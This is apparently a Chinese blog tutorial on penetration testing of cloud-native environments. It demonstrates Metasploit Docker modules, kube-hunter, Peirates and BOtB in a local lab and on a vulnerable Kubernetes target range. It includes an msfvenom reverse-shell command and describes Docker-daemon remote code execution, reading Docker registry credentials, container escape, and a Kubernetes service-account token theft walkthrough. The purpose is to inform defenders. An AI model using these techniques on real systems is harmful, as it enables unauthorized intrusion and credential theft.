一、前言
近年来,容器技术持续升温,全球范围内各行各业都在这一轻量级虚拟化方案上进行着积极而富有成效的探索,使其能够迅速落地并赋能产业,大大提高了资源利用效率和生产力。随着容器化的重要甚至核心业务越来越多,容器安全的重要性也在不断提高。作为一项依然处于发展阶段的新技术,容器的安全性在不断地提高,也在不断地受到挑战。
与此同时,「云原生」同样方兴未艾。人们在实践中发现,简单地将主机、平台或应用转为虚拟化形态,并不能解决传统应用的升级缓慢、架构臃肿、无法快速迭代等问题。因此,云原生(Cloud Native)概念应运而生。云原生提倡应用的敏捷、可靠、高弹性、易扩展以及持续的更新。在云原生应用和服务平台构建过程中,容器技术凭借其弹性敏捷的特性和活跃强大的社区支持,成为了云原生等应用场景下的重要支撑技术。
目前云原生生态正在迅速发展壮大,而专门针对云原生环境下的渗透测试进行介绍的资料却并不丰富。
攻防永不止。在这个过程中,新的安全机制不断被设计并应用,新的攻击方法也不断被提出,对前者发起挑战。《人月神话》中提到,软件工程没有银弹。相应地,信息安全也没有。作为博弈的两端,攻击者和防御者都必须尽可能早、尽可能深地了解对方的可能手段,进而抢前动作、布局。如今,随着容器技术的火热,越来越多的攻防博弈开始转到容器化的云端环境上。
在业界,我们常说“未知攻,焉知防”。基于这一思想,本文调研了当前已有的专门针对云原生环境进行渗透测试或类似安全评估的工具和开源项目,希望为渗透测试人员提供面对新环境的突破思路,帮助安全防御人员看到潜在脆弱点和更多攻击可能性,为云安全研究人员提供更多攻击侧的技术信息,实现以攻促防。
值得注意的是,无论环境如何变化,不同的攻防思想和技术都并非割裂,而是互补互通的。因此,本文不再介绍那些通用渗透方法和工具在云原生环境下的应用。
受关注点和精力所限,也许有好的项目或工具本文没有提及,欢迎大家留言交流。
后文的组织结构如下:
- 考察Metasploit中与云原生相关的模块
- 考察开源项目kube-hunter
- 考察开源项目Peirates
- 考察开源项目BOtB
- 总结与思考
二、Metasploit中的相关模块
2.1简介
Metasploit[1]是一个强大、经典的攻击集成平台,是渗透测试必备工具之一。各种各样的攻击技术以模块形式固化在平台中,并在社区的推动下不断更新、扩大。然而,由于模块过多,且较为分散,有时渗透测试人员并不能及时了解其中都包含什么模块、具备哪些能力。
笔者梳理了最新版(截至2020年6月3日)Metasploit开源仓库中与云原生相关的模块,供大家参考。后文每小节介绍一个模块,标题即模块名称。根据标题指示的路径,读者可以在Metasploit官方仓库中准确定位模块。我们也会在每小节开头给出该模块的Github仓库链接。模块分类如下:
注意,post分类下的模块通常在后渗透阶段执行,因为这些模块的执行通常依赖于一个已有Meterpreter会话。为方便演示,我们采用如下操作来构造一个这样的Meterpreter shell:
在本地测试环境中,首先生成一个反弹shell:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=172.17.0.1lport=10000 -f elf -o reverse_shell
然后创建容器把反弹shell放进去,接着在Metasploit中开启监听,再在容器中运行反弹shell。至此,我们在Metasploit中获得了一个Meterpreter:
这个shell是容器内部的,如果要在宿主机上建立shell,只需要在宿主机上执行反弹shell程序即可。
后文不再给出shell的建立过程。
2.2auxiliary/scanner/http/docker_version
地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/auxilia ry/scanner/http/docker_version.rb
功能:查看Docker服务器版本(设置VERBOSE参数为true能够获得更多信息)。
原理:向Docker Daemon监听的2375端口发起请求。
限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。
实验:
在本地Docker测试环境中,开启2375端口监听,然后在另外终端窗口中利用Metasploit进行扫描:
从上图可以看到,在VERBOSE模式下,该模块给出了包含内核版本在内的诸多信息,这些信息对于后续渗透测试是非常有帮助的。
2.3exploit/linux/http/dockerdaemontcp
地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/explo its/linux/http/dockerdaemontcp.rb
功能:利用监听了TCP socket的Docker守护进程实现root权限远程代码执行。
原理:远程给Docker守护进程下达命令拉取镜像,创建新容器,挂载宿主机目录,写入反弹shell的定时任务。
限制:目标环境的Docker Daemon必须开启端口监听且能够被远程访问。
实验:
我们先开启Docker守护进程的TCP socket监听(为安全起见,笔者这里开启的是本地监听),然后在Metasploit中载入模块,设置payload为反弹Meterpreter,接着设置相关参数,最后执行模块即可:
2.4exploit/linux/local/dockerdaemonprivilege_escalation
地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/expl oits/linux/local/dockerdaemonprivilege_escalation.rb
功能:这实际上也是一个后渗透阶段的功能。当拿到目标宿主机上的一个普通用户shell时,如果该普通用户能够操作本机上的Docker,就能够借助Docker守护进程提升权限。
原理:从逻辑上来看,能够操控Docker就意味着具有了root权限,我们在「容器逃逸技术概览」中介绍的「容器内挂载docker socket导致容器逃逸」的情况与本模块在原理上是类似的。本模块利用Docker创建新容器,将宿主机上文件系统挂载进去,然后将反弹shell程序添加suid标志位,最后执行反弹shell。
限制:普通用户需要有与Docker守护进程交互的权限。
实验:
在本地环境中普通用户rambo能够操作Docker,我们以rambo身份建立Meterpreter:
将当前会话放入后台,然后载入提权模块,设置参数并执行:
我们获得了一个新的Meterpreter。查看当前会话列表,可以发现新会话的euid已经变成0了:
需要注意的是,此时如果我们直接进入会话5输入shell命令打开shell,则得到的依然是普通用户权限shell:
这是Bash的特点导致的,即如果euid与uid不一致时,强制将euid改为uid。我们只需要在Meterpreter中使用execute-if bash -a \-p,而非shell打开shell即可:
2.5post/linux/gather/checkcontainer
地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post /linux/gather/checkcontainer.rb
功能:检测目标环境是否为容器。
原理:较为简单,即检测/.dockerenv特征文件和cgroup里的特征字符串是否存在等。
限制:获得一个基础shell之后才能使用(后渗透阶段)。
实验:
在Meterpreter中,执行该模块即可:
2.6post/linux/gather/enum_protections
地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post /linux/gather/enum_protections.rb
功能:检测目标环境中各种漏洞缓解机制是否开启(对于容器环境来说,会影响逃逸成功率),具体检测了漏洞缓解措施是否开启,如ASLR、kernel.exec-shield、KAISER、SMEP/SMAP;还检测了LKRG、Grsecurity、PaX、SELinux、Yama等内核安全模块是否安装及开启;另外,还检测了一些常见安全应用等(详见源代码)。
原理:该模块调用了Metasploit核心模块Msf::Post::Linux::Kernel,核心模块则是通过读取内核通过procfs等伪文件系统在用户态暴露出的参数来判断相关缓解机制是否开启。例如,对ASLR的判断如下:
defaslr_enabled? aslr =cmd_exec('cat /proc/sys/kernel/randomize_va_space').to_s.strip (aslr.eql?('1') || aslr.eql?('2')) rescue raise 'Could not determine ASLR status' end
限制:获得一个基础shell之后才能使用(后渗透阶段)。
实验:
在Meterpreter中,执行该模块即可:
可以看到,反馈得到的信息非常丰富。这些信息能够帮助渗透测试者在后续环节中评估渗透难度、选择具体渗透技术。
2.7post/multi/gather/docker_creds
地址:https://github.com/rapid7/metasploit-framework/blob/master/modules/post /multi/gather/docker_creds.rb
功能:尝试读取所有用户目录下的.docker/config.json文件,解析获得认证凭据(如镜像仓库的登录凭据)。
原理:读取.docker/config.json文件。
限制:获得一个基础shell之后才能使用(后渗透阶段)。
实验:
新安装的Docker环境下可能没有~/.docker/目录,可以先docker login登录一次镜像仓库,Docker就会为当前用户建立这个目录。接着,在宿主机上建立Meterpreter,然后执行模块即可:
2.8其他模块
除了上述模块外,Metasploit中还有一些和云原生安全相关的模块,考虑到适用范围等因素,笔者不再对它们一一讲解:
- auxiliary/gather/saltstacksaltroot_key
- exploit/linux/misc/saltstacksaltunauth_rce
- exploit/windows/local/dockercredentialwincred
- exploit/linux/http/rancher_server
- exploit/linux/http/dcos_marathon
同时,Metasploit的模块库是在不断更新的,感兴趣的读者可以持续关注云原生模块的集成情况。总体来看,相关模块还是比较少的,许多专门的漏洞利用尚未被集成到Metasploit中来。
三、kube-hunter
3.1简介
kube-hunter[2]是由国外安全厂商Aqua开源的针对Kubernetes集群的脆弱性扫描工具,提供远程扫描、集群内扫描、Pod内扫描三种不同运行方式,分别考察远程攻击、集群内部测试、Pod沦陷三种场景下Kubernetes集群的脆弱性。
kube-hunter采用Python开发,面向对象编程,目前其模块主要有发现(discovery)、狩猎(hunting)和报告(reporting)三类。代码可读性较强,推荐感兴趣的读者读一下项目源码。
3.2牛刀小试
本节中,笔者采用远程攻击的方式启动kube-hunter,对本地环境进行测试,来观察它的效果。
首先安装部署kube-hunter:
git clonehttps://github.com/aquasecurity/kube-hunter.git cd kube-hunter virtualenv --no-site-packages --python=python3 venv source soar_engine_venv/bin/activate pip install -r requirements.txt -ihttps://pypi.tuna.tsinghua.edu.cn/simple
复制
然后运行kube-hunter,不带任何参数直接进入交互式界面,根据提示选择远程扫描:
很快就得到了检测结果,如下:
2022-07-2014:28:44,424 INFO kube_hunter.modules.report.collector Started hunting 2022-07-20 14:28:44,425 INFOkube_hunter.modules.report.collector Discovering Open Kubernetes Services 2022-07-20 14:28:44,806 INFOkube_hunter.modules.report.collector Found open service "Kubelet API"at 192.168.1.1:10250 2022-07-20 14:28:45,300 INFOkube_hunter.modules.report.collector Found open service "API Server"at 192.168.1.1:6443 2022-07-20 14:28:45,483 INFOkube_hunter.modules.report.collector Found vulnerability "Unauthenticatedaccess to API" in 192.168.1.1:6443 2022-07-20 14:28:45,498 INFOkube_hunter.modules.report.collector Found vulnerability "K8s
检测报告后面还有一个表格列出了漏洞详情:
远程扫描完全依赖于端口的可达性,因此上述结果也提醒运维人员,减小攻击面非常重要,不要把非必要端口暴露在不可控的环境中。
从图中还可以读出两点信息:
1. kube-hunter采用了KHV + 数字来对漏洞进行编号。结合整个项目的活跃度来看,Aqua似乎有意将kube-hunter发展成为一个专注于云原生环境的开源漏洞扫描工具;
2.上表中的漏洞信息基本上是通过Kubernetes版本匹配得到的,并非PoC检测。
四、Peirates
4.1简介
Peirates[3]是由国外安全厂商InGuardians开源的针对Kubernetes集群的渗透测试工具,专注于权限提升和横向移动。
它采用Go语言编写而成,预设场景是后渗透,即攻击者已经控制了集群中一个Pod,然后在这个Pod中运行Peirates。因此,开发者特地准备了二进制程序方便从容器内直接下载:https://github.com/inguardians/peirates/r eleases。
4.2牛刀小试
Peirates官网[4]给出了两个Demo视频,从视频中可以看出,在权限合适的时候,Peirates还是十分方便的。然而,Peirates实质上是对集群中权限配置不当问题的自动化利用工具,不包含漏洞利用功能,因此在正常的集群中,很难直接利用它去发起攻击。
在Pod中运行二进制版Peirates,可以发现功能十分丰富:
然而在权限限制较理想的环境下,Peirates能做的事情非常受限:
但是别急,作者开放了一个Kubernetes靶机环境,名为Bust-a-kube[5],该靶机环境是一套由一个Master和两个Slave——共三个虚拟机——组成的Kubernetes集群,作者在该集群中设置了一系列脆弱点,Peirates在这个环境下能够很好地发挥其自动化优势。
读者可以自行到Bust-a-kube官网[5]下载靶机。按照说明运行起来后,从渗透测试的角度来看,首先要借助一个Web服务的命令执行漏洞获得交互式shell,然后进行容器环境探测(如执行mount命令查看文件系统挂载情况),发现自己处于一个Kubernetes环境中,继而进行后渗透操作。
本文关注的是云原生安全,因此笔者这里直接从后渗透谈起,不再展开讲解拿到驻点的过程。值得注意的是,就像这个靶机环境一样,真实Kubernetes场景下的业务往往是一个LoadBalancer或类似的负载均衡装置后面对应多个Pod,因此在Web渗透时可能需要每个步骤都执行多次,直到在一个Pod内把各个步骤都执行了一遍,才能顺利拿到shell。执行次数少的话,不同步骤的渗透流量可能被分流到不同的Pod中。
言归正传。如下图所示,我们已经通过Web渗透取得了驻点,并且知晓当前环境是一个Pod,接着就借助Webshell上传一个Peirates到目标环境,执行后如下图所示,Peirates自动读取了/run/secrets/kubernetes.io/serviceaccount/下的token,并从环境变量中找到了Kubernetes API Server的地址和端口:
接下来就是Peirates展示其自动化能力的时候了。输入3,列出当前命名空间的Pods:
我们发现当前命名空间下有三个frontend实例,三个Redis实例,一个Apache实例。注意,此时我们并不知道当前Pod有哪些权限,就试一试吧。在诸多尝试之后,发现:
- frontend实例的serviceaccount赋予Pod在当前命名空间下的其他Pod内执行命令的权限
- apache实例的serviceaccount赋予Pod在当前命名空间下创建Pod的权限
- Peirates工具内置的宿主机反弹shell功能(序号20)需要在redis Pod内执行才能顺利执行(事实上在其他Pod内也能顺利执行,但是Peirates会出错退出,影响后续操作)
因此,我们这么来做:
在我们前面获得的frontend实例shell中启动Peirates,抓取到Apache的token并保存:
接着,横向移动到Redis Pod中(Peirates的自动化优势慢慢体现出来了,手动完成这些步骤还是比较麻烦的):
至此,我们的Peirates已经是在Redis Pod中运行了,在这里添加一下前面获得的Apache的token:
然后在攻击者机器上开启反弹shell监听,再利用这个token去通过创建Pod挂载宿主机目录来实现逃逸:
反弹shell利用的是cron定时任务。稍等一会儿,攻击者机器就能够收到一个反弹shell了:
如下图所示,上图ifconfig查询得到的 10.23.58.41正是k8s-node1节点的IP:
至此,攻击者已经拿下了集群的一台主机。事实上,对上述步骤稍加改变,在创建用于逃逸的Pod时不去创建Pod而去创建DaemonSet,就能够一下子获得整个集群的控制权了(大致思路)。
在上面的过程中,我们没有过多提及每个步骤背后原理。事实上,在严格的RBAC访问控制下,上述每一步的实质都是在利用合适的权限做常见的操作,最后辅以恶意的Payload,达到恶意的目的。
回过头来看,一方面,在安全问题、风险配置较多的环境中,Peirates是能够极大提升渗透测试效率的;另一方面,可以考虑将该工具与其他工具结合使用,先通过其他方式获得高权限凭证,然后传递给Peirates进行自动化提权或横向渗透,从而在短时间内扩大战果。当然了,所有Peirates做到的这些,我们都可以通过上传一个kubectl手动进行操作,实现相同效果。最后,在权限限制较理想的环境下,Peirates能做的事情非常受限。
这个案例也告诉集群管理者,权限最小化和减小暴露面是多么重要。
五、BOtB
5.1简介
BOtB[6]是由ChrisLe Roy开源的容器安全分析和脆弱点利用工具。它能够辅助环境探测,还能够利用CVE-2019-5736、DockerSocket或特权模式进行容器逃逸。作者在BSides London 2019大会上分享了关于BOtB的议题[7],感兴趣的朋友可以了解一下
5.2牛刀小试
BOtB的功能都比较直观,仓库首页给出了用法列表[8]。它的大部分功能也都是在后渗透阶段使用的。我们在本地环境新建一个容器模拟测试一下:
docker run -itd-v /var/run/docker.sock:/run/docker.sock --privileged --name test2 ubuntu/bin/bash docker exec -it test2 /bin/bash apt update && apt install -y curl curl -fSL "https://github.com/brompwnie/botb/releases/download/1.7.0/botb-linux-amd64"-o "botb-linux-amd64" \ && chmod +x botb-linux-amd64
复制
例如,利用特权模式进行容器逃逸,在宿主机上执行命令并得到结果:
这里利用的逃逸技术我们在之前的文章「针对容器的渗透测试方法」中也有提到。
再如,利用挂载到容器内的Docker Socket进行容器逃逸获得宿主机shell:
这个逃逸技术我们在之前的文章「容器逃逸技术概览」中也有提到。
BOtB还有很多其他便捷功能,这里不再展开。
六、总结与思考
工欲善其事,必先利其器。
随着云原生技术被越来越多的企业或组织接受、应用,相应的安全建设必然要紧随其后,甚至未雨绸缪。作为安全防护体系的一部分,针对云原生环境的渗透测试将变得越来越常见,也将越来越重要,即使当下的渗透测试可能依然更多地聚集在传统环境或传统云计算环境。
渗透测试人员在面对新环境时需要新的突破思路,安全防御人员需要看得到新环境的潜在脆弱点和更多攻击可能性,云安全研究人员需要及时了解更多攻击侧的技术信息。
本文对Metasploit的相关模块、kube-hunter、Peirates和BOtB在云原生环境下的应用进行了介绍。笔者希望,本文的梳理和实践能够帮助我们更好地理解云原生安全,更好地保障云原生安全,从而更好地在业务中应用云原生技术。